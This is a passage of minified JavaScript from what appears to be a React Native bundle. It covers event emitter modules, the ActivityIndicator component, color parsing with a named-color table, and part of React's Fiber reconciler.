babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"addListener\",this).call(this,e,r,o)}},{key:\"removeAllListeners\",value:function(e){babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"removeAllListeners\",this).call(this,e)}},{key:\"removeSubscription\",value:function(e){e.emitter!==this?e.emitter.removeSubscription(e):babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"removeSubscription\",this).call(this,e)}}]),t}(s);r.exports=new i},35);\n__d(function(e,r,t,i){\"use strict\";var s=r(37),n=r(39),u=r(28),o=r(13),c=function(){function e(r){babelHelpers.classCallCheck(this,e),this._subscriber=r||new n}return babelHelpers.createClass(e,[{key:\"addListener\",value:function(e,r,t){return this._subscriber.addSubscription(e,new s(this,this._subscriber,r,t))}},{key:\"once\",value:function(e,r,t){var i=this;return this.addListener(e,function(){for(var e=arguments.length,s=Array(e),n=0;n<e;n++)s[n]=arguments[n];i.removeCurrentListener(),r.apply(t,s)})}},{key:\"removeAllListeners\",value:function(e){this._subscriber.removeAllSubscriptions(e)}},{key:\"removeCurrentListener\",value:function(){o(!!this._currentSubscription,\"Not in an emitting cycle; there is no current subscription\"),this.removeSubscription(this._currentSubscription)}},{key:\"removeSubscription\",value:function(e){o(e.emitter===this,\"Subscription does not belong to this emitter.\"),this._subscriber.removeSubscription(e)}},{key:\"listeners\",value:function(e){var r=this._subscriber.getSubscriptionsForType(e);return r?r.filter(u.thatReturnsTrue).map(function(e){return e.listener}):[]}},{key:\"emit\",value:function(e){var r=this._subscriber.getSubscriptionsForType(e);if(r){for(var t=0,i=r.length;t<i;t++){var s=r[t];s&&(this._currentSubscription=s,s.listener.apply(s.context,Array.prototype.slice.call(arguments,1)))}this._currentSubscription=null}}},{key:\"removeListener\",value:function(e,r){var t=this._subscriber.getSubscriptionsForType(e);if(t)for(var i=0,s=t.length;i<s;i++){var n=t[i];n&&n.listener===r&&n.remove()}}}]),e}();t.exports=c},36);\n__d(function(e,t,r,s){\"use strict\";var i=t(38),l=function(e){function t(e,r,s,i){babelHelpers.classCallCheck(this,t);var l=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,r));return l.emitter=e,l.listener=s,l.context=i,l}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"remove\",value:function(){this.emitter.removeSubscription(this)}}]),t}(i);r.exports=l},37);\n__d(function(e,s,r,t){\"use strict\";var i=function(){function e(s){babelHelpers.classCallCheck(this,e),this.subscriber=s}return babelHelpers.createClass(e,[{key:\"remove\",value:function(){this.subscriber.removeSubscription(this)}}]),e}();r.exports=i},38);\n__d(function(s,e,i,t){\"use strict\";var r=e(13),n=function(){function s(){babelHelpers.classCallCheck(this,s),this._subscriptionsForType={},this._currentSubscription=null}return babelHelpers.createClass(s,[{key:\"addSubscription\",value:function(s,e){r(e.subscriber===this,\"The subscriber of the subscription is incorrectly set.\"),this._subscriptionsForType[s]||(this._subscriptionsForType[s]=[]);var i=this._subscriptionsForType[s].length;return this._subscriptionsForType[s].push(e),e.eventType=s,e.key=i,e}},{key:\"removeAllSubscriptions\",value:function(s){void 0===s?this._subscriptionsForType={}:delete this._subscriptionsForType[s]}},{key:\"removeSubscription\",value:function(s){var e=s.eventType,i=s.key,t=this._subscriptionsForType[e];t&&delete t[i]}},{key:\"getSubscriptionsForType\",value:function(s){return this._subscriptionsForType[s]}}]),s}();i.exports=n},39);\n__d(function(e,t,i,a){\"use strict\";var n=t(41),r=t(43),s=(t(23),t(114)),l=t(111),o=t(144),c=t(110),d=t(130),p=t(140),y=t(142),h=\"#999999\",m=p({displayName:\"ActivityIndicator\",mixins:[r],propTypes:babelHelpers.extends({},d,{animating:l.bool,color:n,size:l.oneOfType([l.oneOf([\"small\",\"large\"]),l.number]),hidesWhenStopped:l.bool}),getDefaultProps:function(){return{animating:!0,color:h,hidesWhenStopped:!0,size:\"small\"}},render:function(){var e=this.props,t=e.onLayout,i=e.style,a=babelHelpers.objectWithoutProperties(e,[\"onLayout\",\"style\"]),n=void 0;switch(a.size){case\"small\":n=u.sizeSmall;break;case\"large\":n=u.sizeLarge;break;default:n={height:a.size,width:a.size}}return s.createElement(c,{onLayout:t,style:[u.container,i]},s.createElement(b,babelHelpers.extends({},a,{style:n,styleAttr:\"Normal\",indeterminate:!0})))}}),u=o.create({container:{alignItems:\"center\",justifyContent:\"center\"},sizeSmall:{width:20,height:20},sizeLarge:{width:36,height:36}}),b=y(\"RCTActivityIndicatorView\",m,{nativeOnly:{activityIndicatorViewStyle:!0}});i.exports=m},40);\n__d(function(n,r,f,e){\"use strict\";var i=r(42),a=function(n,r,f,e,a,l){var b=r[f];if(void 0!==b&&null!==b){if(\"number\"!=typeof b)return null===i(b)?new Error(\"Invalid \"+a+\" `\"+(l||f)+\"` supplied to `\"+e+\"`: \"+b+\"\\nValid color formats are\\n  - '#f0f' (#rgb)\\n  - '#f0fc' (#rgba)\\n  - '#ff00ff' (#rrggbb)\\n  - '#ff00ff00' (#rrggbbaa)\\n  - 'rgb(255, 255, 255)'\\n  - 'rgba(255, 255, 255, 1.0)'\\n  - 'hsl(360, 100%, 100%)'\\n  - 'hsla(360, 100%, 100%, 1.0)'\\n  - 'transparent'\\n  - 'red'\\n  - 0xff00ff00 (0xrrggbbaa)\\n\"):void 0}else if(n)return new Error(\"Required \"+a+\" `\"+(l||f)+\"` was not specified in `\"+e+\"`.\")},l=a.bind(null,!1);l.isRequired=a.bind(null,!0),f.exports=l},41);\n__d(function(e,r,a,l){\"use strict\";function n(e){var r;return\"number\"==typeof e?e>>>0===e&&e>=0&&e<=4294967295?e:null:(r=b.hex6.exec(e))?parseInt(r[1]+\"ff\",16)>>>0:m.hasOwnProperty(e)?m[e]:(r=b.rgb.exec(e))?(u(r[1])<<24|u(r[2])<<16|u(r[3])<<8|255)>>>0:(r=b.rgba.exec(e))?(u(r[1])<<24|u(r[2])<<16|u(r[3])<<8|g(r[4]))>>>0:(r=b.hex3.exec(e))?parseInt(r[1]+r[1]+r[2]+r[2]+r[3]+r[3]+\"ff\",16)>>>0:(r=b.hex8.exec(e))?parseInt(r[1],16)>>>0:(r=b.hex4.exec(e))?parseInt(r[1]+r[1]+r[2]+r[2]+r[3]+r[3]+r[4]+r[4],16)>>>0:(r=b.hsl.exec(e))?(255|i(d(r[1]),s(r[2]),s(r[3])))>>>0:(r=b.hsla.exec(e))?(i(d(r[1]),s(r[2]),s(r[3]))|g(r[4]))>>>0:null}function t(e,r,a){return a<0&&(a+=1),a>1&&(a-=1),a<.16666666666666666?e+6*(r-e)*a:a<.5?r:a<.6666666666666666?e+(r-e)*(.6666666666666666-a)*6:e}function i(e,r,a){var l=a<.5?a*(1+r):a+r-a*r,n=2*a-l,i=t(n,l,e+.3333333333333333),o=t(n,l,e),u=t(n,l,e-.3333333333333333);return Math.round(255*i)<<24|Math.round(255*o)<<16|Math.round(255*u)<<8}function o(){for(var e=arguments.length,r=Array(e),a=0;a<e;a++)r[a]=arguments[a];return\"\\\\(\\\\s*(\"+r.join(\")\\\\s*,\\\\s*(\")+\")\\\\s*\\\\)\"}function u(e){var r=parseInt(e,10);return r<0?0:r>255?255:r}function d(e){var r=parseFloat(e);return(r%360+360)%360/360}function g(e){var r=parseFloat(e);return r<0?0:r>1?255:Math.round(255*r)}function s(e){var r=parseFloat(e);return r<0?0:r>100?1:r/100}var h=\"[-+]?\\\\d*\\\\.?\\\\d+\",c=h+\"%\",b={rgb:new RegExp(\"rgb\"+o(h,h,h)),rgba:new RegExp(\"rgba\"+o(h,h,h,h)),hsl:new RegExp(\"hsl\"+o(h,c,c)),hsla:new RegExp(\"hsla\"+o(h,c,c,h)),hex3:/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex4:/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^#([0-9a-fA-F]{6})$/,hex8:/^#([0-9a-fA-F]{8})$/},m={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199};a.exports=n},42);\n__d(function(_,t,E,i){\"use strict\";var e=t(44),s=e.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,N=s.NativeMethodsMixin;E.exports=N},43);\n__d(function(e,i,r,s){\"use strict\";var t=i(45),o=void 0;o=i(t.useFiber?46:108),r.exports=o},44);\n__d(function(e,t,r,n){\"use strict\";var c,i={get useFiber(){return null==c&&(c=!0),c},set useFiber(e){if(null!=c)throw new Error(\"Cannot set useFiber feature flag after it has been accessed. Please override it before requiring React.\");c=e}};r.exports=i},45);\n__d(function(e,t,n,r){\"use strict\";function o(e){if(!1!==Mt(e)){var t=e.error;console.error(t)}}function i(e){return\"topMouseUp\"===e||\"topTouchEnd\"===e||\"topTouchCancel\"===e}function a(e){return\"topMouseMove\"===e||\"topTouchMove\"===e}function u(e){return\"topMouseDown\"===e||\"topTouchStart\"===e}function l(e,t,n,r){var o=e.type||\"unknown-event\";e.currentTarget=qt.getNodeFromInstance(r),Gt.invokeGuardedCallbackAndCatchFirstError(o,n,void 0,e),e.currentTarget=null}function s(e,t){var n=e._dispatchListeners,r=e._dispatchInstances;if(Array.isArray(n))for(var o=0;o<n.length&&!e.isPropagationStopped();o++)l(e,t,n[o],r[o]);else n&&l(e,t,n,r);e._dispatchListeners=null,e._dispatchInstances=null}function c(e){var t=e._dispatchListeners,n=e._dispatchInstances;if(Array.isArray(t)){for(var r=0;r<t.length&&!e.isPropagationStopped();r++)if(t[r](e,n[r]))return n[r]}else if(t&&t(e,n))return n;return null}function f(e){var t=c(e);return e._dispatchInstances=null,e._dispatchListeners=null,t}function d(e){var t=e._dispatchListeners,n=e._dispatchInstances;Nt(!Array.isArray(t),\"executeDirectDispatch(...): Invalid `event`.\"),e.currentTarget=t?qt.getNodeFromInstance(n):null;var r=t?t(e):null;return e.currentTarget=null,e._dispatchListeners=null,e._dispatchInstances=null,r}function p(e){return!!e._dispatchListeners}function h(e){var t=Jt.getInstanceFromNode(e);if(t){if(\"number\"==typeof t.tag){Nt(Kt&&\"function\"==typeof Kt.restoreControlledState,\"Fiber needs to be injected to handle a fiber target for controlled events. This error is likely caused by a bug in React. Please file an issue.\");var n=Jt.getFiberCurrentPropsFromNode(t.stateNode);return void Kt.restoreControlledState(t.stateNode,t.type,n)}Nt(\"function\"==typeof t.restoreControlledState,\"The internal instance must be a React host component. This error is likely caused by a bug in React. Please file an issue.\"),t.restoreControlledState()}}function g(e,t){return an(e,t)}function v(e,t){return on(g,e,t)}function m(e,t){if(un)return v(e,t);un=!0;try{return v(e,t)}finally{un=!1,rn.restoreStateIfNeeded()}}function y(e){var t=e.componentStack,n=e.error,r=void 0;if(n instanceof Error){var o=n.message,i=n.name,a=o?i+\": \"+o:i;r=n;try{r.message=a+\"\\n\\nThis error is located at:\"+t}catch(e){}}else r=\"string\"==typeof n?new Error(n+\"\\n\\nThis error is located at:\"+t):new Error(\"Unspecified error at:\"+t);return Rt.handleException(r,!1),!1}function b(e){for(var t;t=e._renderedComponent;)e=t;return e}function C(e,t){var n=b(e);yn[t]=n}function P(e,t){yn[t]=e}function T(e){var t=e._rootNodeID;t&&delete yn[t]}function k(e){delete yn[e],delete bn[e]}function x(e){return yn[e]||null}function N(e){var t=\"number\"!=typeof e.tag?e._rootNodeID:e.stateNode._nativeTag;return Nt(t,\"All native instances should have a tag.\"),t}function R(e){return bn[e._nativeTag]||null}function S(e,t){bn[e]=t}function w(e,t){return e!==_n&&e!==In||t!==_n&&t!==In?e===En&&t!==En?-255:e!==En&&t===En?255:e-t:0}function E(){return{first:null,last:null,hasForceUpdate:!1,callbackList:null}}function I(e){return{priorityLevel:e.priorityLevel,partialState:e.partialState,callback:e.callback,isReplace:e.isReplace,isForced:e.isForced,isTopLevelUnmount:e.isTopLevelUnmount,next:null}}function _(e,t,n,r){null!==n?n.next=t:(t.next=e.first,e.first=t),null!==r?t.next=r:e.last=t}function H(e,t){var n=t.priorityLevel,r=null,o=null;if(null!==e.last&&w(e.last.priorityLevel,n)<=0)r=e.last;else for(o=e.first;null!==o&&w(o.priorityLevel,n)<=0;)r=o,o=o.next;return r}function F(e){var t=e.alternate,n=e.updateQueue;null===n&&(n=e.updateQueue=E());var r=void 0;return null!==t?null===(r=t.updateQueue)&&(r=t.updateQueue=E()):r=null,[n,r!==n?r:null]}function A(e,t){var n=F(e),r=n[0],o=n[1],i=H(r,t),a=null!==i?i.next:r.first;if(null===o)return _(r,t,i,a),null;var u=H(o,t),l=null!==u?u.next:o.first;if(_(r,t,i,a),a===l&&null!==a||i===u&&null!==i)return null===u&&(o.first=t),null===l&&(o.last=null),null;var s=I(t);return _(o,s,u,l),s}function D(e,t,n,r){A(e,{priorityLevel:r,partialState:t,callback:n,isReplace:!1,isForced:!1,isTopLevelUnmount:!1,next:null})}function U(e,t,n,r){A(e,{priorityLevel:r,partialState:t,callback:n,isReplace:!0,isForced:!1,isTopLevelUnmount:!1,next:null})}function j(e,t,n){A(e,{priorityLevel:n,partialState:null,callback:t,isReplace:!1,isForced:!0,isTopLevelUnmount:!1,next:null})}function W(e){var t=e.updateQueue;return null===t?En:e.tag!==Hn&&e.tag!==Fn?En:null!==t.first?t.first.priorityLevel:En}function L(e,t,n,r){var o=null===t.element,i={priorityLevel:r,partialState:t,callback:n,isReplace:!1,isForced:!1,isTopLevelUnmount:o,next:null},a=A(e,i);if(o){var u=F(e),l=u[0],s=u[1];null!==l&&null!==i.next&&(i.next=null,l.last=i),null!==s&&null!==a&&null!==a.next&&(a.next=null,s.last=i)}}function O(e,t,n,r){var o=e.partialState;return\"function\"==typeof o?o.call(t,n,r):o}function M(e,t,n,r,o,i,a){if(null!==e&&e.updateQueue===n){var u=n;n=t.updateQueue={first:u.first,last:u.last,callbackList:null,hasForceUpdate:!1}}for(var l=n.callbackList,s=n.hasForceUpdate,c=o,f=!0,d=n.first;null!==d&&w(d.priorityLevel,a)<=0;){n.first=d.next,null===n.first&&(n.last=null);var p=void 0;d.isReplace?(c=O(d,r,c,i),f=!0):(p=O(d,r,c,i))&&(c=f?babelHelpers.extends({},c,p):babelHelpers.extends(c,p),f=!1),d.isForced&&(s=!0),null===d.callback||d.isTopLevelUnmount&&null!==d.next||(l=null!==l?l:[],l.push(d.callback),t.effectTag|=wn),d=d.next}return n.callbackList=l,n.hasForceUpdate=s,null!==n.first||null!==l||s||(t.updateQueue=null),c}function z(e,t,n){var r=t.callbackList;if(null!==r){t.callbackList=null;for(var o=0;o<r.length;o++){var i=r[o];Nt(\"function\"==typeof i,\"Invalid argument passed as callback. Expected a function. Instead received: %s\",i),i.call(n)}}}function Y(e){if(\"function\"==typeof e.getName)return e.getName();if(\"number\"==typeof e.tag){var t=e,n=t.type;if(\"string\"==typeof n)return n;if(\"function\"==typeof n)return n.displayName||n.name}return null}function B(e){var t=e;if(e.alternate)for(;t.return;)t=t.return;else{if((t.effectTag&Zn)!==Kn)return er;for(;t.return;)if(t=t.return,(t.effectTag&Zn)!==Kn)return er}return t.tag===$n?tr:nr}function Q(e){Nt(B(e)===tr,\"Unable to find node on an unmounted component.\")}function X(e){var t=e.alternate;if(!t){var n=B(e);return Nt(n!==nr,\"Unable to find node on an unmounted component.\"),n===er?null:e}for(var r=e,o=t;!0;){var i=r.return,a=i?i.alternate:null;if(!i||!a)break;if(i.child===a.child){for(var u=i.child;u;){if(u===r)return Q(i),e;if(u===o)return Q(i),t;u=u.sibling}Nt(!1,\"Unable to find node on an unmounted component.\")}if(r.return!==o.return)r=i,o=a;else{for(var l=!1,s=i.child;s;){if(s===r){l=!0,r=i,o=a;break}if(s===o){l=!0,o=i,r=a;break}s=s.sibling}if(!l){for(s=a.child;s;){if(s===r){l=!0,r=a,o=i;break}if(s===o){l=!0,o=a,r=i;break}s=s.sibling}Nt(l,\"Child was not found in either parent set. This indicates a bug in React related to the return pointer. Please file an issue.\")}}Nt(r.alternate===o,\"Return fibers should always be each others' alternates. This error is likely caused by a bug in React. Please file an issue.\")}return Nt(r.tag===$n,\"Unable to find node on an unmounted component.\"),r.stateNode.current===r?e:t}function V(e){return q(e)?Nr:kr.current}function G(e,t,n){var r=e.stateNode;r.__reactInternalMemoizedUnmaskedChildContext=t,r.__reactInternalMemoizedMaskedChildContext=n}function $(e){return e.tag===yr&&null!=e.type.contextTypes}function q(e){return e.tag===yr&&null!=e.type.childContextTypes}function J(e){q(e)&&(Pr(xr,e),Pr(kr,e))}function K(e,t,n){var r=e.stateNode,o=e.type.childContextTypes;if(\"function\"!=typeof r.getChildContext)return t;var i=void 0;i=r.getChildContext();for(var a in i)Nt(a in o,'%s.getChildContext(): key \"%s\" is not defined in childContextTypes.',zn(e)||\"Unknown\",a);return babelHelpers.extends({},t,i)}function Z(e){return!(!e.prototype||!e.prototype.isReactComponent)}function ee(e,t,n,r){var o=void 0;if(\"function\"==typeof e)o=Z(e)?Zr(zr,t,n):Zr(Mr,t,n),o.type=e;else if(\"string\"==typeof e)o=Zr(Br,t,n),o.type=e;else if(\"object\"==typeof e&&null!==e&&\"number\"==typeof e.tag)o=e;else{var i=\"\";Nt(!1,\"Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) but got: %s.%s\",null==e?e:typeof e,i)}return o}function te(e){switch(e.tag){case mo:case yo:case bo:case Co:var t=e._debugOwner,n=e._debugSource,r=zn(e),o=null;return t&&(o=zn(t)),vo(r,n,o);default:return\"\"}}function ne(e){var t=\"\",n=e;do t+=te(n),n=n.return;while(n);return t}function re(e){if(null===e||void 0===e)return null;var t=qo&&e[qo]||e[Jo];return\"function\"==typeof t?t:null}function oe(e,t){var n=t.ref;if(null!==n&&\"function\"!=typeof n){if(t._owner){var r=t._owner,o=void 0;if(r)if(\"number\"==typeof r.tag){var i=r;Nt(i.tag===Mo,\"Stateless function components cannot have refs.\"),o=i.stateNode}else o=r.getPublicInstance();Nt(o,\"Missing owner for string ref %s. This error is likely caused by a bug in React. Please file an issue.\",n);var a=\"\"+n;if(null!==e&&null!==e.ref&&e.ref._stringRef===a)return e.ref;var u=function(e){var t=o.refs===St?o.refs={}:o.refs;null===e?delete t[a]:t[a]=e};return u._stringRef=a,u}Nt(\"string\"==typeof n,\"Expected ref to be a function or a string.\"),Nt(t._owner,\"Element ref was specified as a string (%s) but no owner was set. You may have multiple copies of React loaded. (details: https://fb.me/react-refs-must-have-owner).\",n)}return n}function ie(e,t){\"textarea\"!==e.type&&Nt(!1,\"Objects are not valid as a React child (found: %s).%s\",\"[object Object]\"===Object.prototype.toString.call(t)?\"object with keys {\"+Object.keys(t).join(\", \")+\"}\":t,\"\")}function ae(e,t){function n(n,r){if(t){if(!e){if(null===r.alternate)return;r=r.alternate}var o=n.lastEffect;null!==o?(o.nextEffect=r,n.lastEffect=r):n.firstEffect=n.lastEffect=r,r.nextEffect=null,r.effectTag=$o}}function r(e,r){if(!t)return null;for(var o=r;null!==o;)n(e,o),o=o.sibling;return null}function o(e,t){for(var n=new Map,r=t;null!==r;)null!==r.key?n.set(r.key,r):n.set(r.index,r),r=r.sibling;return n}function i(t,n){if(e){var r=Ho(t,n);return r.index=0,r.sibling=null,r}return t.pendingWorkPriority=n,t.effectTag=Vo,t.index=0,t.sibling=null,t}function a(e,n,r){if(e.index=r,!t)return n;var o=e.alternate;if(null!==o){var i=o.index;return i<n?(e.effectTag=Go,n):i}return e.effectTag=Go,n}function u(e){return t&&null===e.alternate&&(e.effectTag=Go),e}function l(e,t,n,r){if(null===t||t.tag!==zo){var o=Do(n,e.internalContextTag,r);return o.return=e,o}var a=i(t,r);return a.pendingProps=n,a.return=e,a}function s(e,t,n,r){if(null===t||t.type!==n.type){var o=Fo(n,e.internalContextTag,r);return o.ref=oe(t,n),o.return=e,o}var a=i(t,r);return a.ref=oe(t,n),a.pendingProps=n.props,a.return=e,a}function c(e,t,n,r){if(null===t||t.tag!==Bo){var o=Uo(n,e.internalContextTag,r);return o.return=e,o}var a=i(t,r);return a.pendingProps=n,a.return=e,a}function f(e,t,n,r){if(null===t||t.tag!==Qo){var o=jo(n,e.internalContextTag,r);return o.type=n.value,o.return=e,o}var a=i(t,r);return a.type=n.value,a.return=e,a}function d(e,t,n,r){if(null===t||t.tag!==Yo||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation){var o=Wo(n,e.internalContextTag,r);return o.return=e,o}var a=i(t,r);return a.pendingProps=n.children||[],a.return=e,a}function p(e,t,n,r){if(null===t||t.tag!==Xo){var o=Ao(n,e.internalContextTag,r);return o.return=e,o}var a=i(t,r);return a.pendingProps=n,a.return=e,a}function h(e,t,n){if(\"string\"==typeof t||\"number\"==typeof t){var r=Do(\"\"+t,e.internalContextTag,n);return r.return=e,r}if(\"object\"==typeof t&&null!==t){switch(t.$$typeof){case Ko:var o=Fo(t,e.internalContextTag,n);return o.ref=oe(null,t),o.return=e,o;case Eo:var i=Uo(t,e.internalContextTag,n);return i.return=e,i;case Io:var a=jo(t,e.internalContextTag,n);return a.type=t.value,a.return=e,a;case _o:var u=Wo(t,e.internalContextTag,n);return u.return=e,u}if(Lo(t)||re(t)){var l=Ao(t,e.internalContextTag,n);return l.return=e,l}ie(e,t)}return null}function g(e,t,n,r){var o=null!==t?t.key:null;if(\"string\"==typeof n||\"number\"==typeof n)return null!==o?null:l(e,t,\"\"+n,r);if(\"object\"==typeof n&&null!==n){switch(n.$$typeof){case Ko:return n.key===o?s(e,t,n,r):null;case Eo:return n.key===o?c(e,t,n,r):null;case Io:return null===o?f(e,t,n,r):null;case _o:return n.key===o?d(e,t,n,r):null}if(Lo(n)||re(n))return null!==o?null:p(e,t,n,r);ie(e,n)}return null}function v(e,t,n,r,o){if(\"string\"==typeof r||\"number\"==typeof r)return l(t,e.get(n)||null,\"\"+r,o);if(\"object\"==typeof r&&null!==r){switch(r.$$typeof){case Ko:return s(t,e.get(null===r.key?n:r.key)||null,r,o);case Eo:return c(t,e.get(null===r.key?n:r.key)||null,r,o);case Io:return f(t,e.get(n)||null,r,o);case _o:return d(t,e.get(null===r.key?n:r.key)||null,r,o)}if(Lo(r)||re(r))return p(t,e.get(n)||null,r,o);ie(t,r)}return null}function m(e,i,u,l){for(var s=null,c=null,f=i,d=0,p=0,m=null;null!==f&&p<u.length;p++){f.index>p?(m=f,f=null):m=f.sibling;var y=g(e,f,u[p],l);if(null===y){null===f&&(f=m);break}t&&f&&null===y.alternate&&n(e,f),d=a(y,d,p),null===c?s=y:c.sibling=y,c=y,f=m}if(p===u.length)return r(e,f),s;if(null===f){for(;p<u.length;p++){var b=h(e,u[p],l);b&&(d=a(b,d,p),null===c?s=b:c.sibling=b,c=b)}return s}for(var C=o(e,f);p<u.length;p++){var P=v(C,e,p,u[p],l);P&&(t&&null!==P.alternate&&C.delete(null===P.key?p:P.key),d=a(P,d,p),null===c?s=P:c.sibling=P,c=P)}return t&&C.forEach(function(t){return n(e,t)}),s}function y(e,i,u,l){var s=re(u);Nt(\"function\"==typeof s,\"An object is not an iterable. This error is likely caused by a bug in React. Please file an issue.\");var c=s.call(u);Nt(null!=c,\"An iterable object provided no iterator.\");for(var f=null,d=null,p=i,m=0,y=0,b=null,C=c.next();null!==p&&!C.done;y++,C=c.next()){p.index>y?(b=p,p=null):b=p.sibling;var P=g(e,p,C.value,l);if(null===P){p||(p=b);break}t&&p&&null===P.alternate&&n(e,p),m=a(P,m,y),null===d?f=P:d.sibling=P,d=P,p=b}if(C.done)return r(e,p),f;if(null===p){for(;!C.done;y++,C=c.next()){var T=h(e,C.value,l);null!==T&&(m=a(T,m,y),null===d?f=T:d.sibling=T,d=T)}return f}for(var k=o(e,p);!C.done;y++,C=c.next()){var x=v(k,e,y,C.value,l);null!==x&&(t&&null!==x.alternate&&k.delete(null===x.key?y:x.key),m=a(x,m,y),null===d?f=x:d.sibling=x,d=x)}return t&&k.forEach(function(t){return n(e,t)}),f}function b(e,t,n,o){if(null!==t&&t.tag===zo){r(e,t.sibling);var a=i(t,o);return a.pendingProps=n,a.return=e,a}r(e,t);var u=Do(n,e.internalContextTag,o);return u.return=e,u}function C(e,t,o,a){for(var u=o.key,l=t;null!==l;){if(l.key===u){if(l.type===o.type){r(e,l.sibling);var s=i(l,a);return s.ref=oe(l,o),s.pendingProps=o.props,s.return=e,s}r(e,l);break}n(e,l),l=l.sibling}var c=Fo(o,e.internalContextTag,a);return c.ref=oe(t,o),c.return=e,c}function P(e,t,o,a){for(var u=o.key,l=t;null!==l;){if(l.key===u){if(l.tag===Bo){r(e,l.sibling);var s=i(l,a);return s.pendingProps=o,s.return=e,s}r(e,l);break}n(e,l),l=l.sibling}var c=Uo(o,e.internalContextTag,a);return c.return=e,c}function T(e,t,n,o){var a=t;if(null!==a){if(a.tag===Qo){r(e,a.sibling);var u=i(a,o);return u.type=n.value,u.return=e,u}r(e,a)}var l=jo(n,e.internalContextTag,o);return l.type=n.value,l.return=e,l}function k(e,t,o,a){for(var u=o.key,l=t;null!==l;){if(l.key===u){if(l.tag===Yo&&l.stateNode.containerInfo===o.containerInfo&&l.stateNode.implementation===o.implementation){r(e,l.sibling);var s=i(l,a);return s.pendingProps=o.children||[],s.return=e,s}r(e,l);break}n(e,l),l=l.sibling}var c=Wo(o,e.internalContextTag,a);return c.return=e,c}function x(e,t,n,o){var i=xn.disableNewFiberFeatures,a=\"object\"==typeof n&&null!==n;if(a)if(i)switch(n.$$typeof){case Ko:return u(C(e,t,n,o));case _o:return u(k(e,t,n,o))}else switch(n.$$typeof){case Ko:return u(C(e,t,n,o));case Eo:return u(P(e,t,n,o));case Io:return u(T(e,t,n,o));case _o:return u(k(e,t,n,o))}if(i)switch(e.tag){case Mo:var l=e.type;Nt(null===n||!1===n,\"%s.render(): A valid React element (or null) must be returned. You may have returned undefined, an array or some other invalid object.\",l.displayName||l.name||\"Component\");break;case Oo:var s=e.type;Nt(null===n||!1===n,\"%s(...): A valid React element (or null) must be returned. You may have returned undefined, an array or some other invalid object.\",s.displayName||s.name||\"Component\")}if(\"string\"==typeof n||\"number\"==typeof n)return u(b(e,t,\"\"+n,o));if(Lo(n))return m(e,t,n,o);if(re(n))return y(e,t,n,o);if(a&&ie(e,n),!i&&void 0===n)switch(e.tag){case Mo:case Oo:var c=e.type;Nt(!1,\"%s(...): Nothing was returned from render. This usually means a return statement is missing. Or, to render nothing, return null.\",c.displayName||c.name||\"Component\")}return r(e,t)}return x}function ue(e){return function(t){try{return e(t)}catch(e){}}}function le(e){if(\"undefined\"==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__)return!1;var t=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!t.supportsFiber)return!0;try{var n=t.inject(e);pa=ue(function(e){return 